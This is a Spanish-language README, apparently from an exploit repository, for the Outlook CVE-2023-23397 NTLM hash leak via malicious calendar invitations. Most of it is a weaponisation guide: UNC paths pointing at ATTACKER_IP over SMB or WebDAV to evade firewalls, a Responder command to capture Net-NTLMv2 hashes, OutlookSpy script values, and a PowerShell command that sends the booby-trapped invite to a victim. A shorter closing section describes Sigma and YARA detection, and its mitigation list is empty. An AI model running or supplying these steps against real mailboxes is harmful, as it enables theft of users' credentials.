
Exploit para la fuga de hash NTLM de Outlook CVE-2023-23397 mediante invitaciones de calendario maliciosas. Incluye armamento de PowerShell, integración con Responder y reglas de detección para respuesta a incidentes.
Para explotar esta vulnerabilidad, un atacante debe crear una invitación de calendario maliciosa que incluya una referencia a un archivo de sonido que apunte a un archivo en un recurso compartido de red en la máquina del atacante. A bajo nivel, un correo de Outlook almacena la referencia al archivo de sonido en un parámetro interno llamado "PidLidReminderFileParameter". Para asegurar que el audio que incrustamos en nuestro correo malicioso tenga prioridad sobre las configuraciones de recordatorio predeterminadas de la víctima, también necesitaremos establecer otro parámetro llamado "PidLidReminderOverride" en true.
Para configurar la propiedad "PidLidReminderFileParameter" para que apunte a un recurso compartido de red, el atacante puede especificar una ruta de Convención de nomenclatura universal (UNC) en lugar de un archivo local. UNC se utiliza en los sistemas operativos Windows para encontrar recursos de red (archivos, impresoras, documentos compartidos). Estas rutas consisten en una doble barra invertida, la dirección IP o el nombre del equipo que aloja el recurso, el nombre del recurso compartido y el nombre del archivo. Por ejemplo:
\ATTACKER_IP\foo\bar.wav
Cuando la víctima recibe el correo malicioso, la ruta UNC la dirige a ese recurso compartido SMB, lo que activa la vulnerabilidad. Esto hace que el sistema inicie un proceso de autenticación NTLM contra la máquina del atacante, filtrando un hash Net-NTLMv2 que el atacante puede intentar crackear más tarde. Si por alguna razón el protocolo SMB no es una alternativa viable, las versiones no servidor de Windows aceptarán el uso de rutas UNC que apunten a los puertos 80 o 443, y usarán HTTP para recuperar el archivo de un servidor web habilitado para WebDAV. La sintaxis de dicha ruta UNC es la siguiente:
\ATTACKER_IP@80\foo\bar.wav OR \ATTACKER_IP@443\foo\bar.wav
Esto puede ser útil para evadir restricciones de firewall que bloquean conexiones salientes al puerto 445 (SMB).
Fase de Ataque Vamos a crear un correo malicioso que contenga una cita con los parámetros necesarios para activarlo.
Configurando Responder: Dado que esperamos que la víctima provoque un intento de autenticación contra el atacante en el puerto 445, configuraremos Responder para manejar el proceso de autenticación y capturar el hash NetNTLM por nosotros. Si no estás familiarizado con Responder, simplemente emula un servidor SMB y captura cualquier intento de autenticación contra él. responder -I
Intentando crear manualmente una cita maliciosa:
OutlookSpy: Incluso si Outlook no puede establecer el archivo de sonido del recordatorio en una ruta UNC, podemos usar el complemento OutlookSpy para lograrlo. Este complemento te permitirá acceder directamente a todos los parámetros internos de Outlook, incluido el archivo de sonido del recordatorio. Deberás instalarlo manualmente antes de continuar. Asegúrate de cerrar Outlook antes de ejecutar el instalador.
Podemos usar la pestaña de script y el siguiente script para cambiar los parámetros a los valores requeridos: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
Asegúrate de hacer clic en el botón "Run" para que se apliquen los cambios. Puedes volver a la pestaña "Properties" para comprobar que los valores se cambiaron correctamente. Finalmente, guarda tu cita para añadirla a tu calendario, asegurándote de que el recordatorio esté configurado en "0 minutos" y de que la cita coincida con la hora y fecha actuales, ya que queremos que se active inmediatamente.
Si todo salió como se esperaba, deberías ver inmediatamente un recordatorio emergente. Y deberías recibir el intento de autenticación en tu consola de Responder en la máquina del atacante.
Armamento Resumiendo los pasos necesarios para explotar la vulnerabilidad, un atacante necesitaría:
Los pasos 3 y 4 ya están cubiertos por Responder, pero crear manualmente la cita maliciosa a mano es un poco tedioso. Afortunadamente, hay un par de exploits disponibles para que podamos crear y enviar una cita maliciosa, uno de los cuales se proporciona en este repositorio.
Este exploit de Powershell aprovecha los objetos COM de Outlook para construir correos electrónicos y citas fácilmente. Contiene un par de funciones que podemos usar: Save-CalendarNTLMLeak: esta función crea una cita maliciosa y la guarda en tu propio calendario. Útil para fines de prueba. Send-CalendarNTLMLeak: esta función crea una cita maliciosa y la envía por correo electrónico a una víctima. La invitación por correo se enviará desde la cuenta predeterminada actual de tu Outlook.
Usando el Exploit: Dentro de powershell, puedes importar las funciones del exploit con el cmdlet "Import-Module". Después de eso, ambas funciones estarán disponibles en tu PowerShell actual. Para enviar un correo electrónico con una cita maliciosa, puedes ejecutar el siguiente comando:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
Dado que el exploit utiliza la instancia actual de Outlook para enviar el correo, es probable que recibas un par de alertas pidiéndote que concedas permiso al script para enviar correos en tu nombre. Asegúrate de presionar Permitir tantas veces como sea necesario. Marcar la casilla "Permitir acceso durante 10 minutos" también debería ayudar a acelerar este proceso.
Detección y Mitigación
Detección: Ahora que hemos repasado los pasos para armar el ataque CVE-2023-23397 en Outlook, hablemos de algunas formas de detectar este ataque dentro de la red. Cada ataque deja patrones o artefactos que podrían ayudar al equipo de detección a identificar las amenazas. Todo depende de la visibilidad de la red y de las fuentes de registro que se estén recopilando y que proporcionen la tan importante visibilidad.
Reglas Sigma: La regla Sigma adjunta detecta a Outlook iniciando una conexión a un recurso compartido WebDav o SMB, lo que indica una fase posterior a la explotación. Esta regla Sigma busca detectar "svchost.exe" generando "rundll32.exe" con argumentos de comando como C:\windows\system32\davclnt.dll,DavSetCookie, lo que indica una fase posterior a la explotación/exfiltración. Estas reglas SIGMA se pueden convertir en la herramienta de detección y monitoreo para buscar actividad de registro sospechosa dentro de la red.
Regla Yara: La regla YARA busca el patrón dentro de los archivos en el disco. Las reglas YARA comunitarias adjuntas se pueden usar para detectar el archivo MSG sospechoso en el disco con las dos propiedades discutidas en las tareas anteriores.
Microsoft ha publicado un script de PowerShell "CVE-2023-23397.ps1" que verificará los elementos de mensajería de Exchange como correo, calendario y tareas para ver si se encuentran los IOC relacionados con el ataque CVE-2023-23397. El script se puede usar para auditar y limpiar los elementos detectados.
Mitigación: Esta vulnerabilidad está siendo explotada extensamente en la naturaleza. Algunos de los pasos recomendados por Microsoft para mitigar y evitar este ataque son: